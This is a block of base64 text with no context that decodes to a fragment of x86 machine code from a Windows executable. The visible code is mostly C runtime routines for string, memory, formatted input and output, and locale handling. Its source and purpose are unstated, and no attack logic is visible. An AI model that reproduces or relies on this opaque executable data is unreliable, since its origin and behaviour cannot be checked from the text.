GwsAAIvYM/Y73lmJXfSJdfiJdfx1BzPA6dsAAABXaIA4AQCNhXTH/v9WUOhQAgAAg8QMM8CN vXjH/v87RQxzZotNCIoMCITJdA2IDB5GQIl1/DtFDHLpO0UMc0qLyItVCIA8EQB1BkE7TQxy 8YvRK9CD+gpzETvBc8GLVQiKFBCIFB5GQOvvgX34ECcAAHMP/0X4iUf8iReDxwiLweuciXX8 M/brSItF+Il1/Iv4wecDjVw3BFPoZAoAAIvwi0X4V4kGjYV0x/7/UI1GBFDovQYAAP91/I1E NwT/dfRQ6K0GAACLRRCDxByJGItd9FPohwYAAFmLxl9eW8nDVYvsg+wMU4tdCFZXiwMz0ov4 jUsEwecDiVX8iU30jXcEiUX4OXUMcwczwOmcAAAAhcB2I4vxiUUIiw470XMHK8oD0QFN/ItG BIXAdgID0IPGCP9NCHXii0UMK8eDwPw5RfyJRQxzBStF/APQi0UQM/YhdfxSiRDopwkAAI18 HwSLXfiF21l2LotN9Dsxcw+LVfyKFDqIFDBG/0X86+0z0jlRBHYLgCQwAEZCO1EEcvWDwQhL ddWLTfw7TQxzDgPwihQ5iBZGQTtNDHL0X15bycPM/yUc0UAA/yUM0UAA/yUQ0UAA/yUA0UAA zMzMzMzMzMzMzItUJASLTCQI98IDAAAAdTyLAjoBdS4KwHQmOmEBdSUK5HQdwegQOkECdRkK wHQROmEDdRCDwQSDwgQK5HXSi/8zwMOQG8DR4EDDi//3wgEAAAB0FIoCQjoBdelBCsB04PfC AgAAAHSoZosCg8ICOgF10grAdMo6YQF1yQrkdMGDwQLrjMzMzMzMzMzMzMzMzItUJAyLTCQE hdJ0RzPAikQkCFeL+YP6BHIt99mD4QN0CCvRiAdHSXX6i8jB4AgDwYvIweAQA8GLyoPiA8Hp AnQG86uF0nQGiAdHSnX6i0QkCF/Di0QkBMPMzMzMzMzMzFeLfCQI62qNpCQAAAAAi/+LTCQE V/fBAwAAAHQPigFBhMB0O/fBAwAAAHXxiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0 I4TkdBqpAAD/AHQOqQAAAP90AuvNjXn/6w2Nef7rCI15/esDjXn8i0wkDPfBAwAAAHQZihFB hNJ0ZIgXR/fBAwAAAHXu6wWJF4PHBLr//v5+iwED0IPw/zPCixGDwQSpAAEBgXThhNJ0NIT2 dCf3wgAA/wB0EvfCAAAA/3QC68eJF4tEJAhfw2aJF4tEJAjGRwIAX8NmiReLRCQIX8OIF4tE JAhfw4tMJAT3wQMAAAB0FIoBQYTAdED3wQMAAAB18QUAAAAAiwG6//7+fgPQg/D/M8KDwQSp AAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcON Qf2LTCQEK8HDjUH8i0wkBCvBw1WL7FGDZfwAU4tdCFZXU+hx////g/gBWXIhgHsBOnUbi3UM hfZ0EGoCU1bojBAAAIPEDIBmAgBDQ+sKi0UMhcB0A4AgAINlDACAOwCLw77/AAAAiUUIdGWK CA+20faCYU1JAAR0A0DrGoD5L3QPgPlcdAqA+S51C4lF/OsGjUgBiU0MQIA4AHXPi30MiUUI hf90KoN9EAB0Hyv7O/5yAov+V1P/dRDoERAAAItFEIPEDIAkBwCLRQiLXQzrCotNEIXJdAOA IQCLffyF/3RMO/tySIN9FAB0Hyv7O/5yAov+V1P/dRTo0g8AAItFFIPEDIAkBwCLRQiLfRiF /3REK0X8O8ZzAovwVv91/Ffoqw8AAIPEDIAkPgDrKIt9FIX/dBcrwzvGcwKL8FZTV+iLDwAA g8QMgCQ+AItFGIXAdAOAIABfXlvJw1WL7FGDPTw5SQAAU3Udi0UIg/hhD4yvAAAAg/h6D4+m AAAAg+gg6Z4AAACLXQiB+wABAAB9KIM9HCxBAAF+DGoCU+gHEgAAWVnrC6EQKkEAigRYg+AC hcB1BIvD62uLFRAqQQCLw8H4CA+2yPZESgGAdA6AZQoAiEUIiF0JagLrCYBlCQCIXQhqAViN TfxqAWoAagNRUI1FCFBoAAIAAP81PDlJAOhVDwAAg8QghcB0qYP4AXUGD7ZF/OsND7ZF/Q+2 TfzB4AgLwVvJw1WL7FGDPTw5SQAAU1ZXdR2LRQiD+EEPjKoAAACD+FoPj6EAAACDwCDpmQAA AItdCL8AAQAAagE73159JTk1HCxBAH4LVlPoNxEAAFlZ6wqhECpBAIoEWCPGhcB1BIvD62WL FRAqQQCLw8H4CA+2yPZESgGAdA+AZQoAagKIRQiIXQlY6wmAZQkAiF0Ii8ZWagCNTfxqA1FQ jUUIUFf/NTw5SQDoiw4AAIPEIIXAdK47xnUGD7ZF/OsND7ZF/Q+2TfzB4AgLwV9eW8nDVYvs g+wgi0UIVolF6IlF4I1FEMdF7EIAAABQjUXg/3UMx0Xk////f1DoExIAAIPEDP9N5IvweAiL ReCAIADrDY1F4FBqAOjhEAAAWVmLxl7Jw/90JATo8BkAAFnDzMzMzMzMzMzMzFWL7FdWi3UM i00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySVSH1AAIvH ugMAAACD6QRyDIPgAwPI/ySFYHxAAP8kjVh9QACQ/ySN3HxAAJBwfEAAnHxAAMB8QAAj0YoG iAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVSH1AAI1JACPRigaIB4pGAcHpAohH AYPGAoPHAoP5CHKm86X/JJVIfUAAkCPRigaIB0bB6QJHg/kIcozzpf8klUh9QACNSQA/fUAA LH1AACR9QAAcfUAAFH1AAAx9QAAEfUAA/HxAAItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItE jvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVIfUAAi/9YfUAA YH1AAGx9QACAfUAAi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoG iAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/ JJXgfkAAi//32f8kjZB+QACNSQCLx7oDAAAAg/kEcgyD4AMryP8kheh9QAD/JI3gfkAAkPh9 QAAYfkAAQH5AAIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJXgfkAAjUkAikYDI9GIRwOKRgLB 6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJXgfkAAkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4D g+8Dg/kID4Ja/////fOl/P8kleB+QACNSQCUfkAAnH5AAKR+QACsfkAAtH5AALx+QADEfkAA 135AAItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItE jgSJRI8EjQSNAAAAAAPwA/j/JJXgfkAAi//wfkAA+H5AAAh/QAAcf0AAi0UIXl/Jw5CKRgOI RwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQhe X8nDi0QkBKMAKUEAw6EAKUEAacD9QwMABcOeJgCjAClBAMH4ECX/fwAAw8zMzFE9ABAAAI1M JAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDagH/dCQI6IsWAABZWcNV i+yD7CCLRQjHRexJAAAAUIlF6IlF4OiH+P//iUXkjUUQUI1F4P91DFDouxYAAIPEEMnDzMzM zMzMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHp AoPiA4P5CHIp86X/JJUogUAAi8e6AwAAAIPpBHIMg+ADA8j/JIVAgEAA/ySNOIFAAJD/JI28 gEAAkFCAQAB8gEAAoIBAACPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUo gUAAjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klSiBQACQI9GKBogHRsHpAkeD +QhyjPOl/ySVKIFAAI1JAB+BQAAMgUAABIFAAPyAQAD0gEAA7IBAAOSAQADcgEAAi0SO5IlE j+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0A AAAAA/AD+P8klSiBQACL/ziBQABAgUAATIFAAGCBQACLRQheX8nDkIoGiAeLRQheX8nDkIoG iAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMA AAB1JMHpAoPiA4P5CHIN/fOl/P8klcCCQACL//fZ/ySNcIJAAI1JAIvHugMAAACD+QRyDIPg AyvI/ySFyIFAAP8kjcCCQACQ2IFAAPiBQAAggkAAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8k lcCCQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcCCQACQikYDI9GI RwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwIJAAI1JAHSCQAB8gkAA hIJAAIyCQACUgkAAnIJAAKSCQAC3gkAAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcCCQACL/9CCQADYgkAA 6IJAAPyCQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpG A4hHA4pGAohHAopGAYhHAYtFCF5fycODPRwsQQABfhFoAwEAAP90JAjoJAkAAFlZw4tEJASL DRAqQQBmiwRBJQMBAADDgz0cLEEAAX4OagT/dCQI6PkIAABZWcOLRCQEiw0QKkEAigRBg+AE w4M9HCxBAAF+DmoI/3QkCOjRCAAAWVnDi0QkBIsNECpBAIoEQYPgCMPMzMzMzMzMzMzMzMzM i0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQKhMB19V5b XzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltf isLpQx0AAI1H/15bX8OLx15bX8NVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aK Rv8zyTpH/3cEdARJSffRi8FbXl/Jw1WL7Gr/aEDSQABoBKxAAGShAAAAAFBkiSUAAAAAg+xY U1ZXiWXo/xW80EAAM9KK1IkVbDlJAIvIgeH/AAAAiQ1oOUkAweEIA8qJDWQ5SQDB6BCjYDlJ ADP2VugWJgAAWYXAdQhqHOiwAAAAWYl1/OhWJAAA/xXE0EAAo2hOSQDoFCMAAKMgOUkA6L0g AADo/x8AAOgcHQAAiXXQjUWkUP8VeNFAAOiQHwAAiUWc9kXQAXQGD7dF1OsDagpYUP91nFZW /xV00UAAUOi87v//iUWgUOgKHQAAi0XsiwiLCYlNmFBR6M4dAABZWcOLZej/dZjo/BwAAIM9 KDlJAAF1BeiAJwAA/3QkBOiwJwAAaP8AAAD/FRApQQBZWcODPSg5SQABdQXoWycAAP90JATo iycAAFlo/wAAAP8VfNFAAMNVi+yD7BhTVlf/dQjoiAEAAIvwWTs1OExJAIl1CA+EagEAADPb O/MPhFYBAAAz0rggKUEAOTB0coPAMEI9ECpBAHzxjUXoUFb/FYDRQACD+AEPhSQBAABqQDPA Wb9gTUkAg33oAYk1OExJAPOrqokdZE5JAA+G7wAAAIB97gAPhLsAAACNTe+KEYTSD4SuAAAA D7ZB/w+20jvCD4eTAAAAgIhhTUkABEDr7mpAM8BZv2BNSQDzq400Uold/MHmBKqNnjApQQCA OwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKkhgpQQAIkGFNSQBAO8d29UFBgDkAddT/RfyD wwiDffwEcsGLRQjHBUxMSQABAAAAUKM4TEkA6MYAAACNtiQpQQC/QExJAKWlWaNkTkkApetV QUGAef8AD4VI////agFYgIhhTUkACEA9/wAAAHLxVuiMAAAAWaNkTkkAxwVMTEkAAQAAAOsG iR1MTEkAM8C/QExJAKurq+sNOR0sOUkAdA7ojgAAAOiyAAAAM8DrA4PI/19eW8nDi0QkBIMl LDlJAACD+P51EMcFLDlJAAEAAAD/JYjRQACD+P11EMcFLDlJAAEAAAD/JYTRQACD+Px1D6FM OUkAxwUsOUkAAQAAAMOLRCQELaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4 BAgAAMO4EQQAAMNXakBZM8C/YE1JAPOrqjPAv0BMSQCjOExJAKNMTEkAo2ROSQCrq6tfw1WL 7IHsFAUAAI1F7FZQ/zU4TEkA/xWA0UAAg/gBD4UWAQAAM8C+AAEAAIiEBez+//9AO8Zy9IpF 8saF7P7//yCEwHQ3U1eNVfMPtgoPtsA7wXcdK8iNvAXs/v//QbggICAgi9nB6QLzq4vLg+ED 86pCQopC/4TAddBfW2oAjYXs+v///zVkTkkA/zU4TEkAUI2F7P7//1ZQagHo8yUAAGoAjYXs /f///zU4TEkAVlCNhez+//9WUFb/NWROSQDoaAEAAGoAjYXs/P///zU4TEkAVlCNhez+//9W UGgAAgAA/zVkTkkA6EABAACDxFwzwI2N7Pr//2aLEfbCAXQWgIhhTUkAEIqUBez9//+IkGBM SQDrHPbCAnQQgIhhTUkAIIqUBez8///r44CgYExJAABAQUE7xnK/60kzwL4AAQAAg/hBchmD +Fp3FICIYU1JABCKyIDBIIiIYExJAOsfg/hhchOD+Hp3DoCIYU1JACCKyIDpIOvggKBgTEkA AEA7xnK+XsnDgz0oTEkAAHUSav3oLPz//1nHBShMSQABAAAAw1WL7IM9TExJAABXi30IiX0I dRH/dRD/dQxX6ComAACDxAzrY4tVEFaF0nQ9i00MigFKD7bw9oZhTUkABIgHdBNHQYXSdBmK AUqIB0dBhMB0FOsGR0GEwHQQhdJ10usKgGf/AOsEgGf+AIvCSoXAXnQTjUoBM8CL0cHpAvOr i8qD4QPzqotFCF9dw1WL7Gr/aFjSQABoBKxAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85 PTA5SQB1RldXagFbU2hQ0kAAvgABAABWV/8VPNFAAIXAdAiJHTA5SQDrIldXU2hM0kAAVlf/ FUDRQACFwA+EIgEAAMcFMDlJAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShMDlJAIP4AnUd /3Uc/3UY/3UU/3UQ/3UM/3UI/xVA0UAA6d4AAACD+AEPhdMAAAA5fSB1CKFMOUkAiUUgV1f/ dRT/dRCLRST32BvAg+AIQFD/dSD/FXjQQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoXfT/ /4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug /xV40EAAhcB0TVdXU/913P91DP91CP8VPNFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1 HH8e/3Uc/3UYU/913P91DP91CP8VPNFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPH RfwBAAAAjQQ2g8ADJPzoqfP//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990 tFZT/3Xk/3Xc/3UM/3UI/xU80UAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V oNBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABe dQUrRCQEw4vCw1WL7FGLRQiNSAGB+QABAAB3DIsNECpBAA+3BEHrUovIVos1ECpBAMH5CA+2 0fZEVgGAXnQOgGX+AIhN/IhF/WoC6wmAZf0AiEX8agFYjU0KagFqAGoAUVCNRfxQagHotSEA AIPEHIXAdQLJww+3RQojRQzJw1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaD ZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf6gLUEAdAiB /sAtQQB1C1PoHiYAAIXAWXUHVujPJQAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lO BH4QV1BT6PkjAACDxAyJRQzrM4P7/3QWi8OLy8H4BYPhH4sEhSBLSQCNBMjrBbjILEEA9kAE IHQNagJqAFPoJyMAAIPEDItGCIpNCIgI6xRqAY1FCF9XUFPopiMAAIPEDIlFDDl9DF90BoNO DCDrD4tFCCX/AAAA6wgMIIlGDIPI/15bXcNVi+yB7EgCAABTVleLfQwz9oofR4TbiXX0iXXs iX0MD4T0BgAAi03wM9LrCItN8It10DPSOVXsD4zcBgAAgPsgfBOA+3h/Dg++w4qAUNJAAIPg D+sCM8APvoTGcNJAAMH4BIP4B4lF0A+HmgYAAP8khfuUQACDTfD/iVXMiVXYiVXgiVXkiVX8 iVXc6XgGAAAPvsOD6CB0O4PoA3Qtg+gIdB9ISHQSg+gDD4VZBgAAg038COlQBgAAg038BOlH BgAAg038Aek+BgAAgE38gOk1BgAAg038AuksBgAAgPsqdSONRRBQ6PUGAACFwFmJReAPjRIG AACDTfwE99iJReDpBAYAAItF4A++y40EgI1EQdDr6YlV8OntBQAAgPsqdR6NRRBQ6LYGAACF wFmJRfAPjdMFAACDTfD/6coFAACNBIkPvsuNREHQiUXw6bgFAACA+0l0LoD7aHQggPtsdBKA +3cPhaAFAACATf0I6ZcFAACDTfwQ6Y4FAACDTfwg6YUFAACAPzZ1FIB/ATR1DkdHgE39gIl9 DOlsBQAAiVXQiw0QKkEAiVXcD7bD9kRBAYB0GY1F7FD/dQgPvsNQ6H8FAACKH4PEDEeJfQyN RexQ/3UID77DUOhmBQAAg8QM6SUFAAAPvsOD+GcPjxwCAACD+GUPjZYAAACD+FgPj+sAAAAP hHgCAACD6EMPhJ8AAABISHRwSEh0bIPoDA+F6QMAAGb3RfwwCHUEgE39CIt18IP+/3UFvv// /3+NRRBQ6JwFAABm90X8EAhZi8iJTfgPhP4BAACFyXUJiw0sLEEAiU34x0XcAQAAAIvBi9ZO hdIPhNQBAABmgzgAD4TKAQAAQEDr58dFzAEAAACAwyCDTfxAjb24/f//O8qJffgPjc8AAADH RfAGAAAA6dEAAABm90X8MAh1BIBN/Qhm90X8EAiNRRBQdDvoMAUAAFCNhbj9//9Q6HUjAACD xAyJRfSFwH0yx0XYAQAAAOspg+hadDKD6Al0xUgPhOgBAADpCAMAAOjYBAAAWYiFuP3//8dF 9AEAAACNhbj9//+JRfjp5wIAAI1FEFDoswQAAIXAWXQzi0gEhcl0LPZF/Qh0Fw+/ANHoiU34 iUX0x0XcAQAAAOm1AgAAg2XcAIlN+A+/AOmjAgAAoSgsQQCJRfhQ6Y4AAAB1DID7Z3UHx0Xw AQAAAItFEP91zIPACIlFEP918ItI+IlNuItA/IlFvA++w1CNhbj9//9QjUW4UP8VADBBAIt1 /IPEFIHmgAAAAHQUg33wAHUOjYW4/f//UP8VDDBBAFmA+2d1EoX2dQ6Nhbj9//9Q/xUEMEEA WYC9uP3//y11DYBN/QGNvbn9//+JffhX6GHm//9Z6fwBAACD6GkPhNEAAACD6AUPhJ4AAABI D4SEAAAASHRRg+gDD4T9/f//SEgPhLEAAACD6AMPhckBAADHRdQnAAAA6zwrwdH46bQBAACF yXUJiw0oLEEAiU34i8GL1k6F0nQIgDgAdANA6/ErwemPAQAAx0XwCAAAAMdF1AcAAAD2RfyA x0X0EAAAAHRdikXUxkXqMARRx0XkAgAAAIhF6+tI9kX8gMdF9AgAAAB0O4BN/QLrNY1FEFDo GwMAAPZF/CBZdAlmi03sZokI6wWLTeyJCMdF2AEAAADpIwIAAINN/EDHRfQKAAAA9kX9gHQM jUUQUOjtAgAAWetB9kX8IHQh9kX8QI1FEFB0DOjIAgAAWQ+/wJnrJei8AgAAWQ+3wOvy9kX8 QI1FEFB0COinAgAAWevg6J8CAABZM9L2RfxAdBuF0n8XfASFwHMR99iD0gCL8PfagE39AYv6 6wSL8Iv69kX9gHUDg+cAg33wAH0Jx0XwAQAAAOsEg2X894vGC8d1BINl5ACNRbeJRfiLRfD/ TfCFwH8Gi8YLx3Q7i0X0mVJQV1aJRcCJVcTobyEAAP91xIvYg8Mw/3XAV1bo7SAAAIP7OYvw i/p+AwNd1ItF+P9N+IgY67WNRbcrRfj/Rfj2Rf0CiUX0dBmLTfiAOTB1BIXAdQ3/TfhAi034 xgEwiUX0g33YAA+F9AAAAItd/PbDQHQm9scBdAbGReot6xT2wwF0BsZF6ivrCfbDAnQLxkXq IMdF5AEAAACLdeArdeQrdfT2wwx1Eo1F7FD/dQhWaiDoFwEAAIPEEI1F7FCNRer/dQj/deRQ 6DIBAACDxBD2wwh0F/bDBHUSjUXsUP91CFZqMOjlAAAAg8QQg33cAHRBg330AH47i0X0i134 jXj/ZosDQ1CNRchQQ+iWHwAAWYXAWX4yjU3sUf91CFCNRchQ6NgAAACDxBCLx0+FwHXQ6xWN RexQ/3UI/3X0/3X46LoAAACDxBD2RfwEdBKNRexQ/3UIVmog6HEAAACDxBCLfQyKH0eE24l9 DA+FE/n//4tF7F9eW8nDeY9AAE+OQABqjkAAto5AAO2OQAD1jkAAKo9AAL2PQABVi+yLTQz/ SQR4DosRikUIiAL/AQ+2wOsLUf91COiI9///WVmD+P+LRRB1BYMI/13D/wBdw1ZXi3wkEIvH T4XAfiGLdCQYVv90JBj/dCQU6Kz///+DxAyDPv90B4vHT4XAf+NfXsNTi1wkDIvDS1ZXhcB+ Jot8JByLdCQQD74GV0b/dCQcUOh1////g8QMgz//dAeLw0uFwH/iX15bw4tEJASDAASLAItA /MOLRCQEgwAIiwiLQfiLUfzDi0QkBIMABIsAZotA/MNWi3QkCIX2dCRW6MAfAABZhcBWdApQ 6N8fAABZWV7DagD/NQRLSQD/FZDRQABew/81uDpJAP90JAjoAwAAAFlZw4N8JATgdyL/dCQE 6BwAAACFwFl1FjlEJAh0EP90JATodScAAIXAWXXeM8DDVot0JAg7NSAwQQB3C1bopSIAAIXA WXUchfZ1A2oBXoPGD4Pm8FZqAP81BEtJAP8VlNFAAF7DVYvsgezEAQAAgGXrAFNWi3UMM9tX igaJXfyEwIldzA+E4QkAAIt9COsFi30IM9uDPRwsQQABfg8PtsBqCFDohvX//1lZ6w+LDRAq QQAPtsCKBEGD4Ag7w3Q2/038V41F/FdQ6CUKAABZWVDoBgoAAA+2RgFGUOhp7P//g8QMhcB0 Dg+2RgFGUOhX7P//WevugD4lD4XZCAAAgGXLAIBl6ACAZekAgGXyAIBl8QCAZeoAM/+AZfsA iV3kiV3giV30xkXzAYld0A+2XgFGgz0cLEEAAX4PD7bDagRQ6On0//9ZWesPiw0QKkEAD7bD igRBg+AEhcB0EotF9P9F4I0EgI1EQ9CJRfTrZYP7Tn8+dF6D+yp0MoP7RnRUg/tJdAqD+0x1 N/5F8+tFgH4BNnUsgH4CNI1GAnUj/0XQg2XYAINl3ACL8Osn/kXy6yKD+2h0F4P7bHQKg/t3 dAj+RfHrDv5F8/5F++sG/k3z/k37gH3xAA+ET////4B98gCJdQx1EotFEIlFvIPABIlFEItA /IlF1IBl8QCAffsAdRSKBjxTdAo8Q3QGgE37/+sExkX7AYtdDA+2M4POIIP+bol1xHQog/5j dBSD/nt0D/91CI1F/FDotQgAAFnrC/91CP9F/Oh2CAAAWYlF7DPAOUXgdAk5RfQPhNwHAACD /m8Pj14CAAAPhAoFAACD/mMPhCwCAACD/mQPhPgEAAAPjmoCAACD/md+OIP+aXQbg/5uD4VX AgAAgH3yAIt9/A+EAAcAAOkhBwAAamRei13sg/stD4V+AgAAxkXpAel6AgAAi13sjbU8/v// g/stdQ6InTz+//+NtT3+///rBYP7K3UXi30I/030/0X8V+jOBwAAi9hZiV3s6wOLfQiDfeAA dAmBffRdAQAAfgfHRfRdAQAAgz0cLEEAAX4MagRT6Anz//9ZWesLoRAqQQCKBFiD4ASFwHQh i0X0/030hcB0F/9F5IgeRv9F/FfocAcAAIvYWYld7Ou7OB0gLEEAdWaLRfT/TfSFwHRc/0X8 V+hNBwAAi9igICxBAIgGWYld7EaDPRwsQQABfgxqBFPom/L//1lZ6wuhECpBAIoEWIPgBIXA dCGLRfT/TfSFwHQX/0XkiB5G/0X8V+gCBwAAi9hZiV3s67uDfeQAD4SOAAAAg/tldAmD+0UP hYAAAACLRfT/TfSFwHR2xgZlRv9F/FfoywYAAIvYWYP7LYld7HUFiAZG6wWD+yt1HotF9P9N 9IXAdQUhRfTrD/9F/FfongYAAIvYWYld7IM9HCxBAAF+DGoEU+j08f//WVnrC6EQKkEAigRY g+AEhcB0EotF9P9N9IXAdAj/ReSIHkbru/9N/FdT6HIGAACDfeQAWVkPhPYFAACAffIAD4VN BQAA/0XMgCYAjYU8/v//UA++RfP/ddRIUP8VCDBBAIPEDOkpBQAAOUXgdQr/RfTHReABAAAA gH37AH4ExkXqAb84LEEA6QsBAACLxoPocA+EowIAAIPoAw+E6AAAAEhID4SWAgAAg+gDD4TD /f//g+gDdCQPtgM7RewPhT8FAAD+TeuAffIAD4XDBAAAi0W8iUUQ6bgEAACAffsAfgTGReoB i30MR4l9DIA/Xg+FpwAAAIvHjXgB6ZkAAACD+yt1Iv9N9HUMg33gAHQGxkXxAesR/3UI/0X8 6GgFAACL2FmJXeyD+zAPhUUCAAD/dQj/RfzoTgUAAIvYWYD7eIld7HQvgPtYdCqD/njHReQB AAAAdAhqb17pFgIAAP91CP9N/FPoOAUAAFlZajBb6f0BAAD/dQj/RfzoCQUAAFmL2Ild7Gp4 68+AffsAfgTGReoBvzAsQQCATej/aiCNRZxqAFDo7Nr//4PEDIN9xHt1DoA/XXUJsl1HxkWn IOsDilXLigc8XXRfRzwtdUGE0nQ9ig+A+V10Nkc60XMEisHrBIrCitE60HchD7bSD7bwK/JG i8qLwoPhB7MBwegD0uONRAWcCBhCTnXoMtLrtA+2yIrQi8GD4QezAcHoA9LjjUQFnAgY65uA PwAPhAEEAACDfcR7dQOJfQyLfQiLddT/TfxX/3XsiXXQ6FMEAABZWYN94AB0DotF9P9N9IXA D4ScAAAA/0X8V+gaBAAAg/j/WYlF7HR+i8hqAYPhB1oPvl3o0+KLyMH5Aw++TA2cM8uF0XRg gH3yAHVSgH3qAHRBiw0QKkEAiEXID7bA9kRBAYB0Df9F/FfoywMAAFmIRcn/NRwsQQCNRchQ jUXCUOiqIAAAZotFwoPEDGaJBkZG6wOIBkaJddTpZP////9F0Olc/////038V1DoowMAAFlZ OXXQD4QoAwAAgH3yAA+FfwIAAP9FzIN9xGMPhHICAACAfeoAi0XUdAlmgyAA6WACAACAIADp WAIAAMZF8wGLXeyD+y11BsZF6QHrBYP7K3Ui/030dQyDfeAAdAbGRfEB6xH/dQj/RfzoGgMA AFmL2Ild7IN90AAPhA8BAACAffEAD4XjAAAAg/54dU+DPRwsQQABfg9ogAAAAFPoVO7//1lZ 6w2hECpBAIoEWCWAAAAAhcAPhKMAAACLRdiLVdxqBFnozSAAAFOJRdiJVdzofQIAAIvYWYld 7OtTgz0cLEEAAX4MagRT6Aju//9ZWesLoRAqQQCKBFiD4ASFwHRdg/5vdRWD+zh9U4tF2ItV 3GoDWeh9IAAA6w9qAGoK/3Xc/3XY6CwgAACJRdiJVdz/ReSNQ9CZAUXYEVXcg33gAHQF/030 dCT/dQj/RfzoNgIAAIvYWYld7Okr/////3UI/038U+g5AgAAWVmAfekAD4TcAAAAi0XYi03c 99iD0QCJRdj32YlN3OnEAAAAgH3xAA+FsgAAAIP+eHQ/g/5wdDqDPRwsQQABfgxqBFPoQ+3/ /1lZ6wuhECpBAIoEWIPgBIXAdHaD/m91CoP7OH1swecD6z+NPL/R5+s4gz0cLEEAAX4PaIAA AABT6Abt//9ZWesNoRAqQQCKBFglgAAAAIXAdDdTwecE6EQBAACL2FmJXez/ReSDfeAAjXwf 0HQF/030dCT/dQj/RfzoWAEAAIvYWYld7Olc/////3UI/038U+hbAQAAWVmAfekAdAL334P+ RnUEg2XkAIN95AAPhM4AAACAffIAdSn/RcyDfdAAdBCLRdSLTdiJCItN3IlIBOsQgH3zAItF 1HQEiTjrA2aJOP5F6/9FDIt1DOtC/0X8V+jhAAAAi9hZD7YGRjvDiV3siXUMdVWLDRAqQQAP tsP2REEBgHQY/0X8V+i3AAAAWQ+2DkY7yIl1DHU+/038g33s/3UQgD4ldU2LRQyAeAFudUSL 8IoGhMAPhVb2///rMP91CP9N/P917OsF/038V1PoiwAAAFlZ6xf/TfxXUOh9AAAA/038V1Po cwAAAIPEEIN97P91EYtFzIXAdQ04Ret1CIPI/+sDi0XMX15bycODPRwsQQABVn4Qi3QkCGoE VuiO6///WVnrD4t0JAihECpBAIoEcIPgBIXAdQaD5t+D7geLxl7Di1QkBP9KBHgJiwoPtgFB iQrDUugUHgAAWcODfCQE/3QP/3QkCP90JAjo1x4AAFlZw1aLdCQIV/90JBD/Bui+////i/hX 6D7i//9ZhcBZdeeLx19ew8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItU JAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD 8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC /DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C /V5fW8ONQvxeX1vDoTRMSQCFwHQC/9BoFPBAAGgI8EAA6M4AAABoBPBAAGgA8EAA6L8AAACD xBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PZw5SQB1Ef90JAj/ 